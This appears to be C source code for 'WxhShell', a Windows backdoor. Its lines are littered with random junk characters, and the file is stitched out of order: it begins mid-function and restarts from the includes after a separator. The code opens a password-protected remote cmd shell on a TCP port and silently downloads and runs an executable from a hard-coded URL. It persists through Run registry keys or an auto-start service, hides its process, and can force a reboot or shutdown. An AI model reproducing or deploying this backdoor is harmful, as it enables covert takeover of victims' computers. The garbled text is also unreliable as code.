    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Hw;{5p@  
    else { [q_Yf!(m-  
    closesocket(wsh); ~6@~fhu  
    ExitThread(0); auS$B %  
    } AbfLV942  
    break; Url8Z\;aM  
    } Te5_T&1Z  
  // 获取shell Hm4lR{A  
  case 's': { 9]hc{\  
    CmdShell(wsh); GJ?rqmbL  
    closesocket(wsh); Lmj?V1% V  
    ExitThread(0); sRY: 7>eg  
    break; BHU(Hd  
  } Z., Pl  
  // 退出 [S$)^>0  
  case 'x': { jixU9]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fzSZ>I0R  
    CloseIt(wsh); I ][8[UZ  
    break; Lw-j#}&6E  
    } +IJpqFH  
  // 离开 /&ph-4\i  
  case 'q': { A$|> Jt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @NX^__ sa  
    closesocket(wsh); MA"iM+Ar  
    WSACleanup(); 7tfFRUw  
    exit(1); ~r|.GY  
    break; C'mmo&Pd  
        } tF`>.=  
  } if_e$,dh~>  
  } >,1'[) _  
)[zyvU. J3  
  // 提示信息 )w/f 'fq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 62Jn8DwAT  
} HlV3rYh  
  } ,Hp9Gkm8I/  
VX;u54hS  
  return; mflI>J=g  
} `DJIY_{-2  
OE:t!66  
// shell模块句柄 [IW@ mn>  
int CmdShell(SOCKET sock) wX|]8f2Z  
{ B&L{/.v_z\  
STARTUPINFO si; l:faI&o.@  
ZeroMemory(&si,sizeof(si)); j*+r`CX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z$[A.gD4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K$(U>D|  
PROCESS_INFORMATION ProcessInfo; u,oxUySeG  
char cmdline[]="cmd"; Jr1^qY`0+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +ES.O]?>  
  return 0; So!1l7b  
} %/'[GC'y!  
Ke,-8e#Q  
// 自身启动模式 Oq!u `g9  
int StartFromService(void) ` 6"\.@4  
{ Jl5<9x  
typedef struct c&R .  
{ .+B!mmp  
  DWORD ExitStatus; Fs&m'g  
  DWORD PebBaseAddress; ]enqkiS  
  DWORD AffinityMask; t`DUY3>36  
  DWORD BasePriority; sCnZ\C@u  
  ULONG UniqueProcessId; gXf_~zxS  
  ULONG InheritedFromUniqueProcessId; ]Q,RVEtKp  
}   PROCESS_BASIC_INFORMATION; ^,`Lt *  
4+ 4? 0R  
PROCNTQSIP NtQueryInformationProcess; SX F F  
g%\e80~1(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BkO"{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j^64:3  
t+?\4+!<  
  HANDLE             hProcess; o-x_[I|@  
  PROCESS_BASIC_INFORMATION pbi; %X.Q\T  
}1$8)zH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xds"n5  
  if(NULL == hInst ) return 0; r2xlcSn%  
qi/%&)GZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c%B=TAs5c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WMI/Y 9N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zu;Yw=cM)  
Q"Bgr&RJ  
  if (!NtQueryInformationProcess) return 0; DO %YOv  
V<d'psb 6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Um9=<*p  
  if(!hProcess) return 0; .b]oB_  
,2?C^gxt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s"Kp+tTWj  
Z:n33xh=<  
  CloseHandle(hProcess); .{8lG^0U<  
{'vvE3iZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xt`znNN  
if(hProcess==NULL) return 0; Ezml LFp.  
Ni0lj:  
HMODULE hMod; Riw>cVi~  
char procName[255]; 1hMk\ -3S  
unsigned long cbNeeded; I#A`fJ  
j+Tk|GRab  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n*;mFV0s  
$[]=6.s  
  CloseHandle(hProcess); 2.:b   
S[ 2`7'XV  
if(strstr(procName,"services")) return 1; // 以服务启动 ]_-$  
vJcvyz#%1  
  return 0; // 注册表启动 =l_eliM/  
} h?CNChRJs  
d&U;rMEv  
// 主模块 kW(8i}bg  
int StartWxhshell(LPSTR lpCmdLine) =0v{+ #}  
{ lX7#3ti:  
  SOCKET wsl; _wqFKj  
BOOL val=TRUE; .^v7LF]Q  
  int port=0; \LS%bO,Y|  
  struct sockaddr_in door; as\V, {<  
~ 01]VA  
  if(wscfg.ws_autoins) Install(); 82w< q(  
g6*}& .&  
port=atoi(lpCmdLine); E3KP jK  
L ~;_R*Th  
if(port<=0) port=wscfg.ws_port; ,Qh4=+jwqn  
W>, b1_k c  
  WSADATA data; 1-b,X]i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FEP\5d>  
N.2rF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O0Z'vbFG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); + 6}FUi!"e  
  door.sin_family = AF_INET; 0\i&v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); * dNMnZ@Y  
  door.sin_port = htons(port); kPxrI=  
m\k$L7O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E*'O))  
closesocket(wsl); p~e6ah?1  
return 1; aH >.o 1;  
} ~7Jc;y&  
8>epKFEg  
  if(listen(wsl,2) == INVALID_SOCKET) { }wUF#  
closesocket(wsl); u{_T,k<!  
return 1; iE&`F hf?  
} &2Y>yFB ,  
  Wxhshell(wsl); */ qv}  
  WSACleanup(); +6TKk~0e^  
GEvif4  
return 0; +^"|FtKhE  
VWNmqeP  
} z24-h C  
LAvAjvRc  
// 以NT服务方式启动 yC _X@o-n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fs=nAn#  
{ HAU8H'h  
DWORD   status = 0; 9:esj{X  
  DWORD   specificError = 0xfffffff; 4e5Ka{# <  
Oi{jzP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F4:ssy^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jy1*E3vQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7sFjO/a*  
  serviceStatus.dwWin32ExitCode     = 0; D)mqe-%1  
  serviceStatus.dwServiceSpecificExitCode = 0; V1Fdt+#  
  serviceStatus.dwCheckPoint       = 0; $QY(7Z"  
  serviceStatus.dwWaitHint       = 0; x2nNkd0h  
irL ehPX9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d:j$!@o  
  if (hServiceStatusHandle==0) return; Ml)WY#7  
L>PpXTWwy  
status = GetLastError(); $w65/  
  if (status!=NO_ERROR) !!P)r1=g  
{ 3L;)asF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S3n$  
    serviceStatus.dwCheckPoint       = 0; &yP9vp="  
    serviceStatus.dwWaitHint       = 0; K~Xt`  
    serviceStatus.dwWin32ExitCode     = status; q,m6$\g4  
    serviceStatus.dwServiceSpecificExitCode = specificError; l~\'Z2op   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "rX`h  
    return; k3e $0`Q  
  } i|2Q}$3t2  
YoahqXR`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ` bg{\ .q  
  serviceStatus.dwCheckPoint       = 0; |D<~a(0  
  serviceStatus.dwWaitHint       = 0; .m4K ]^m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7o ;}"Y1  
} {=&pnu\  
z43H]  
// 处理NT服务事件,比如:启动、停止 0/),ylCj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WJhI6lu  
{ f^',J@9@  
switch(fdwControl) q3 9 RD  
{ `s.y!(`q  
case SERVICE_CONTROL_STOP: O!;!amvz  
  serviceStatus.dwWin32ExitCode = 0; 44cyD _(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z*kn.sW  
  serviceStatus.dwCheckPoint   = 0; \.}* s]6  
  serviceStatus.dwWaitHint     = 0; 5Rc 5/m  
  { *}LYMrP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fUE jl  
  } 2!l)% F`  
  return; whD%Oz*f  
case SERVICE_CONTROL_PAUSE: Wb^YqqE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]ul]L R%.  
  break; 5z=;q!3  
case SERVICE_CONTROL_CONTINUE:  O'_D*?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I=. 98v%  
  break;  a2sN$k  
case SERVICE_CONTROL_INTERROGATE: XN??^1{J}]  
  break; # Z8<H  
}; [NyR$yD{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^cX);koO  
} %e=BC^VW  
m~%IHWO'  
// 标准应用程序主函数 {Pdy KgM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J6=*F;x6E  
{ F~&bgl[YZ  
}Vk#w%EJ  
// 获取操作系统版本 cO_En`F  
OsIsNt=GetOsVer(); bT0CQ_g21  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \_0nH`  
IhY[c/ |i  
  // 从命令行安装 >f74]J=V  
  if(strpbrk(lpCmdLine,"iI")) Install(); Nx,.4CI  
= gOq >`  
  // 下载执行文件 4IIe1 .{  
if(wscfg.ws_downexe) { jDOB (fE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #jbo! wdg  
  WinExec(wscfg.ws_filenam,SW_HIDE); D O#4E<]5  
} t4~Bn<=  
P^T]Ubv"  
if(!OsIsNt) { -n+ =[M  
// 如果时win9x,隐藏进程并且设置为注册表启动 eG=Hyc  
HideProc(); E2+O-;VN  
StartWxhshell(lpCmdLine); gT?:zd=;  
} X\V1c$13CK  
else L >Y%$|4  
  if(StartFromService()) ~*ST fyFw  
  // 以服务方式启动 ]?-8[v~{C  
  StartServiceCtrlDispatcher(DispatchTable); [,yoFm%"  
else DTH;d-Z  
  // 普通方式启动 {OH "d  
  StartWxhshell(lpCmdLine); *FmY4w  
-Uh3A\#(  
return 0; 9jBP|I{xI  
} W0R<^5_  
7vF+Di(B  
F4`ud;1H  
N7=lSBm  
=========================================== 4l_!OUvt  
WzDL(~m+Z  
=c8xg/  
A]c'`Nf  
@FO= 0_;y  
)O;6S$z9Y  
" w&8N6gA14  
.hPk}B/KV  
#include <stdio.h> =ss(~[  
#include <string.h> 8eGq.+5G  
#include <windows.h> 62)Qr  
#include <winsock2.h> BE>^;`K  
#include <winsvc.h> Qu"zzb"k  
#include <urlmon.h> Ymt.>8L  
<A@}C+  
#pragma comment (lib, "Ws2_32.lib") __LR!F]=i  
#pragma comment (lib, "urlmon.lib") @ LPs.e  
J[ ;g \  
#define MAX_USER   100 // 最大客户端连接数 }w&W\g+E$  
#define BUF_SOCK   200 // sock buffer w=JO$7  
#define KEY_BUFF   255 // 输入 buffer '1P~"P3  
>h)D~U(H  
#define REBOOT     0   // 重启 &|MdBJ  
#define SHUTDOWN   1   // 关机 =[5F~--Tf  
lZ gX{  
#define DEF_PORT   5000 // 监听端口 Z{XF!pS%H  
~/C9VR&  
#define REG_LEN     16   // 注册表键长度 ZP-^10  
#define SVC_LEN     80   // NT服务名长度 %j $r"  
[A\DuJx  
// 从dll定义API e\)r"!?H`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9 n0 ?0mk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W2>VgMR [  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yrvV<}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1egq:bh  
W?TvdeBx  
// wxhshell配置信息 VcX89c4\  
struct WSCFG { 'Hf+Y/`  
  int ws_port;         // 监听端口 <DR$WsDG  
  char ws_passstr[REG_LEN]; // 口令 12]rfd   
  int ws_autoins;       // 安装标记, 1=yes 0=no ]Xm+-{5?!R  
  char ws_regname[REG_LEN]; // 注册表键名 ExKyjWAJ  
  char ws_svcname[REG_LEN]; // 服务名 u0;k_6N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H^ds<I<)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e92,@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E|_J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _|jEuif  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Wr+/ 9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {q!GTO  
{Qba`lOkq  
}; yOTC>?p%  
.~ O- <P#  
// default Wxhshell configuration /$NR@56 \  
struct WSCFG wscfg={DEF_PORT, dD351!-  
    "xuhuanlingzhe", 0<FT=tKm  
    1, EQ [K  
    "Wxhshell", L/ g8@G ;  
    "Wxhshell", zFi)R }Ot  
            "WxhShell Service", W\EvMV"  
    "Wrsky Windows CmdShell Service", 4|/}~9/  
    "Please Input Your Password: ", 8hV>Q  
  1, \ gO!6  
  "http://www.wrsky.com/wxhshell.exe", O>y*u8  
  "Wxhshell.exe" 2`^M OGYk  
    }; [Smqe>U 1  
`T,^os#6  
// 消息定义模块 ]bP1gV(b-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sa?s[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }D]y -BbA.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qDS~|<Y5  
char *msg_ws_ext="\n\rExit."; J?Bj=b  
char *msg_ws_end="\n\rQuit."; X=@bzL;eq  
char *msg_ws_boot="\n\rReboot..."; fl8eNi E|  
char *msg_ws_poff="\n\rShutdown..."; <:>[24LJ{  
char *msg_ws_down="\n\rSave to ";  )mH(Hx  
f"-3'kqo  
char *msg_ws_err="\n\rErr!"; k x%\Cz  
char *msg_ws_ok="\n\rOK!"; tISb' ^T  
eRm*+l|?  
char ExeFile[MAX_PATH]; O/.8;.d;4Y  
int nUser = 0; 0nPg`@e.  
HANDLE handles[MAX_USER]; Ca["tks  
int OsIsNt; .npD<*  
>r>pM(h  
SERVICE_STATUS       serviceStatus;  c?*x2Vk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KK?R|1VK9  
[(; .D  
// 函数声明 ]E|E4K6g  
int Install(void); gI/ SA  
int Uninstall(void); gb=tc`  
int DownloadFile(char *sURL, SOCKET wsh); q{}U5(,{0  
int Boot(int flag); h AJ^(|  
void HideProc(void); qtjx<`EK>  
int GetOsVer(void); ky{@*fg.  
int Wxhshell(SOCKET wsl); qzWnl[3  
void TalkWithClient(void *cs); +^q- v-  
int CmdShell(SOCKET sock); 'soll[J  
int StartFromService(void); V#+M lN  
int StartWxhshell(LPSTR lpCmdLine); ZEB,Q~  
&8dj*!4H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B A i ^t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J u"/#@  
[U,hb1Wi3  
// 数据结构和表定义 )`#SMLMy~  
SERVICE_TABLE_ENTRY DispatchTable[] = (g>&ov(d  
{ * $|9e  
{wscfg.ws_svcname, NTServiceMain}, a|ZJzuqo  
{NULL, NULL} v2ab84 C*  
}; L*6>S_l[  
lvG+9e3+  
// 自我安装 To;r#h  
int Install(void) 8w ]'U  
{ 2]5ux!Lqln  
  char svExeFile[MAX_PATH]; |ADg#oX  
  HKEY key; U9XOs)^  
  strcpy(svExeFile,ExeFile); _=K\E0I.m  
}}LjEOvL=  
// 如果是win9x系统,修改注册表设为自启动 L2%npps  
if(!OsIsNt) { }-@h H(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7WHq'R{@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  n[7=  
  RegCloseKey(key); POQ4&ChA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~PX#' Jr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K7ZRj\(CJv  
  RegCloseKey(key); ,IPryI   
  return 0; /BrbP7  
    } g{Hb3id9  
  } L,3%}_  
} ,Qt2?  
else { wc;^C?PX  
IIAm"=*  
// 如果是NT以上系统,安装为系统服务 Y+C6+I<3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ([NS%  
if (schSCManager!=0) eMjW^-RgE5  
{ B7n1'?  
  SC_HANDLE schService = CreateService } O:l]O`  
  ( Sr-!-eC  
  schSCManager, 5ZjM:wrF|  
  wscfg.ws_svcname, 9-.`~v  
  wscfg.ws_svcdisp, +2m\Sv V  
  SERVICE_ALL_ACCESS, `<?((l%;R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (X|lK.W y  
  SERVICE_AUTO_START, npcL<$<6X  
  SERVICE_ERROR_NORMAL, `o%Ua0x2  
  svExeFile, 6z5?9I4[  
  NULL, ~./M5P!\  
  NULL, WE&"W$0  
  NULL, @}tk/7-E  
  NULL, (Zu8WyT2  
  NULL 9U!#Y%*T  
  ); +?Y(6$o  
  if (schService!=0) Ekz)Nh)vGR  
  { ~GjM:*  
  CloseServiceHandle(schService); !%'c$U2  
  CloseServiceHandle(schSCManager); ;CA7\&L>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %M-B"#OB7  
  strcat(svExeFile,wscfg.ws_svcname); :2MHx}]il  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SI;SnF'[7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =mh)b]].4\  
  RegCloseKey(key); BoXGoFn  
  return 0; $1myf Z  
    } ^qPS&G  
  } Ok_)C+o  
  CloseServiceHandle(schSCManager); #zKF/H|_R  
} \E,Fe:/g  
} yQ+C}8r5  
lR3JyYY{X  
return 1; J,^eq@(  
} 6n'XRfQp)&  
|79n 1;+\?  
// 自我卸载 a\v@^4   
int Uninstall(void) g}'(V>(  
{ B#(2,j7M  
  HKEY key; !e:HE/&>i  
/yL:_6c-  
if(!OsIsNt) { X" ;ly0Mb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T\o!^|8  
  RegDeleteValue(key,wscfg.ws_regname); RLX?3u&  
  RegCloseKey(key); uM9RlI5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u6BLhyS  
  RegDeleteValue(key,wscfg.ws_regname); wQ/FJoB  
  RegCloseKey(key); }\_[+@*EJ  
  return 0; 1|%C66f^  
  } }5sJd>u5^  
} UP |#WegO  
} HtGGcO'bqg  
else { yX;v   
s~Od(,K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D3-H!TFpDb  
if (schSCManager!=0) }u8D5Q<(  
{ Gv zw=~8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @~`2L o/  
  if (schService!=0) q=h~zjQ?R  
  { ~F9WR5}]  
  if(DeleteService(schService)!=0) { 7nL3+Pq  
  CloseServiceHandle(schService); aqAWaO  
  CloseServiceHandle(schSCManager); 7ezf.[{R  
  return 0; 1?bX$$y l;  
  } -g]g  
  CloseServiceHandle(schService); Xm}~u?$3  
  } y #Xq@  
  CloseServiceHandle(schSCManager); wH Q$F(by  
} e(m#elX  
} /|2#s%|-=  
zg83->[  
return 1; pg'3j3JW$  
} \;Ywr3  
53cW`F  
// 从指定url下载文件 jPf*qe>U  
int DownloadFile(char *sURL, SOCKET wsh) fUg I*V  
{ QR;E>eEq  
  HRESULT hr; 'Nbae-pf  
char seps[]= "/"; X#*|_(^  
char *token; yPqZ ,  
char *file; +]%d'h  
char myURL[MAX_PATH]; gr")Jw7  
char myFILE[MAX_PATH]; ) b vZ~t+^  
+ B#3!  
strcpy(myURL,sURL); #}rv)  
  token=strtok(myURL,seps); UR&Uwa&.  
  while(token!=NULL) c~+;P(>  
  { U,4:yc,)s  
    file=token; a}+7MEUmZ/  
  token=strtok(NULL,seps); 6T5nr  
  } Cq,ox'kGl  
:}Tw+S5  
GetCurrentDirectory(MAX_PATH,myFILE); R~],5_|  
strcat(myFILE, "\\"); 3./4] _p  
strcat(myFILE, file); RrDNEwAr  
  send(wsh,myFILE,strlen(myFILE),0); <([1(SY2e  
send(wsh,"...",3,0); [fU2$(mT+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \e/'d~F  
  if(hr==S_OK) `"<} B"s  
return 0; ddMSiwbY)  
else 5Q.bwl:  
return 1; ^rc!X]C9  
!v2D 18(  
} pA*cF!tq 7  
^< ,Np+  
// 系统电源模块 qdB@P  
int Boot(int flag) ':fq  
{ &Oq& ikw  
  HANDLE hToken; MT,LO<.  
  TOKEN_PRIVILEGES tkp; M<,E[2op  
}7Si2S  
  if(OsIsNt) { `V@{#+X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (N U*PQY6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L!7*U.+  
    tkp.PrivilegeCount = 1; !TRJsL8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N.|Zh+!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s fxQ  
if(flag==REBOOT) { <aR8fU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;K:)R_H  
  return 0; aZYa<28?L%  
} f!~gfnn  
else { =>Vo|LBoe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )POuH*j  
  return 0; vv  _I o  
} 1FS Jqad  
  } \k1psqw^O  
  else { J(0.eD91v  
if(flag==REBOOT) {  t]Xdzy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dlC)&Ai  
  return 0; }Lx?RU+@=  
} )k0P' zGb  
else { .N99=%[}h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &UUIiQm~  
  return 0; CUT D]:\  
} "SyAOOZ  
} #;Y JR9VN  
<JKRdIx&1  
return 1; LXaT_3 ;  
} 31LXzQvFG  
yAoJ?<4^W  
// win9x进程隐藏模块 :luVsQ  
void HideProc(void) h5&l#>8&  
{ LoLmT7  
8oG0tX3i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9cAb\5c|  
  if ( hKernel != NULL ) dF*@G/p>V  
  { MJJy mi'b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  KAmv7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aE6 I|6W?  
    FreeLibrary(hKernel); k+2~=#  
  } mvI[=e*  
&AmTXW  
return; oBr/CW  
} vBUx )l  
RF 4u\ \  
// 获取操作系统版本 (bi}?V*  
int GetOsVer(void) S*6P=O*  
{ 1Tf"<D p  
  OSVERSIONINFO winfo; pGz-5afL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \~1M\gZP  
  GetVersionEx(&winfo); kC"<4U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  /E/J<  
  return 1; *z`_U]tP  
  else U(DK~#}  
  return 0; wxXp(o(  
} |jV>  
0&Q-y&$7  
// 客户端句柄模块 3(':4Tas  
int Wxhshell(SOCKET wsl) U[=VW0  
{ _h!OGLec  
  SOCKET wsh; I0=YIcH5  
  struct sockaddr_in client; 7wsn8_n9  
  DWORD myID; *,~d!Fc  
S1&mY'c  
  while(nUser<MAX_USER) _6&x$ *O  
{ ozF>2`K }  
  int nSize=sizeof(client);  2&O!<C j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &a%|L=FY  
  if(wsh==INVALID_SOCKET) return 1; {wRsV=*  
EAU6z(X$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nVV>;e[  
if(handles[nUser]==0) ,F(nkbt  
  closesocket(wsh); i ~fkjn  
else Z9mY*}:U~  
  nUser++; 6wx;grt'Z  
  } *|ez|*-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~;k-/Z"  
m'k.R j  
  return 0; yTwv2l;U  
} r7/y'Y]O  
@dQIl#  
// 关闭 socket BRbx.  
void CloseIt(SOCKET wsh) >4`("#  
{ XtVx H4q  
closesocket(wsh); wl #Bv,xf  
nUser--; IlJ6&9  
ExitThread(0); ~~k_A|&  
} m!5P5U x  
vO!p8r F  
// 客户端请求句柄 s~$ZTzV  
void TalkWithClient(void *cs) f/RzE  
{ 5mUHk]W  
f4)fa yAVp  
  SOCKET wsh=(SOCKET)cs; v{ Md4 p  
  char pwd[SVC_LEN]; Tz3 L#0:j  
  char cmd[KEY_BUFF]; 9 o6ig>C  
char chr[1]; 9F)+p7VJq  
int i,j; B}8xA}<  
&{NN!X  
  while (nUser < MAX_USER) { g-"@%ps  
x zu)``?  
if(wscfg.ws_passstr) { .'JO7of  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {/G~HoY1i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &p=Uus  
  //ZeroMemory(pwd,KEY_BUFF); 1=gE ,k5H  
      i=0; ^WQ.' G5Q  
  while(i<SVC_LEN) { #4iSQ$0  
>%5Ld`c:SD  
  // 设置超时 awh<CmcZ  
  fd_set FdRead; 9HrT>{@  
  struct timeval TimeOut; n@  lf+  
  FD_ZERO(&FdRead); , f{<  
  FD_SET(wsh,&FdRead); WzZ<ZCHm  
  TimeOut.tv_sec=8; @S\!wjl]C  
  TimeOut.tv_usec=0; |;e K5(|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H)z}6[`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);   4Ra  
2%UzCK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TeaP\a  
  pwd=chr[0]; m/uBM6SXx  
  if(chr[0]==0xd || chr[0]==0xa) { Wsya:9|  
  pwd=0; low 0@+Q  
  break; @ -CZa^g  
  } / r6^]grg  
  i++; 9`  
    } r:0F("},  
wb~B Y  
  // 如果是非法用户,关闭 socket l =~EweuM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5<ZE.'O  
} &{E1w<uv  
}-QFMPXhG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I^S gWC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0'q&7 MV  
E{x<P0 ;  
while(1) { vYb.Ub+  
D*.U?  
  ZeroMemory(cmd,KEY_BUFF); __N< B5E  
6HocF/Ye  
      // 自动支持客户端 telnet标准   7u7`z%  
  j=0; 8h"Val|qP  
  while(j<KEY_BUFF) { ]S!:p>R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7[=*#7}.  
  cmd[j]=chr[0]; ?5'EP|<  
  if(chr[0]==0xa || chr[0]==0xd) { 8Ld{Xg  
  cmd[j]=0; @p` *MWU  
  break; ZYRZ$87jZ  
  } Xc8r[dX  
  j++; wJc~AP)I%z  
    } zv[$ N,  
~4gOv  
  // 下载文件 ,',  S  
  if(strstr(cmd,"http://")) { h[eC i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AzFd#P  
  if(DownloadFile(cmd,wsh)) uBpnfIe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` mvPbZ0<  
  else mQL8ec_c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WXq=FZ-  
  } @6["A'h  
  else {  9t$#!2z  
*Wbs{>&No  
    switch(cmd[0]) { [d"]AF[#  
  2Xw=kwu  
  // 帮助 XotiKCk|Aq  
  case '?': { T'i^yd }*v  
